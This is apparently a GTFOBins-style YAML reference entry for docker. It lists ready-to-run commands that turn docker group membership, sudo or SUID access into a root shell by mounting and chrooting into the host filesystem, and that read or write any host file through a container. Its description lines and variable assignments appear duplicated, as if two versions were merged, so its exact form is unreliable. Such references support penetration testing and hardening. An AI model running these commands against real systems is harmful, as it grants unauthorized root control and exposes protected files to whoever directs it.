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Allow to create new containers in docker file read and write

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description: |
This requires the user to be privileged enough to run docker, i.e. being in the `docker` group or being `root`.
Any other Docker Linux image should work, e.g., `debian`.
functions:
shell:
- description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
- description: The resulting is a root shell.
code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh
file-write:
- description: Write any file by copying it to an existing container and back to the target destination on the host.
- description: Write a file by copying it to a temporary container and back to the target destination on the host.
code: |
CONTAINER_ID=existing-docker-container
CONTAINER_ID="$(docker run -d alpine)" # or existing
TF=$(mktemp)
echo "DATA" > $TF
docker cp $TF $CONTAINER_ID:$TF
docker cp $CONTAINER_ID:$TF file_to_write
file-read:
- description: Read any file by copying it to an existing container and back to a new location on the host.
- description: Read a file by copying it to a temporary container and back to a new location on the host.
code: |
CONTAINER_ID=existing-docker-container
CONTAINER_ID="$(docker run -d alpine)" # or existing
TF=$(mktemp)
docker cp file_to_read $CONTAINER_ID:$TF
docker cp $CONTAINER_ID:$TF $TF
cat $TF
sudo:
- description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
- description: The resulting is a root shell.
code: sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
suid:
- description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
- description: The resulting is a root shell.
code: ./docker run -v /:/mnt --rm -it alpine chroot /mnt sh
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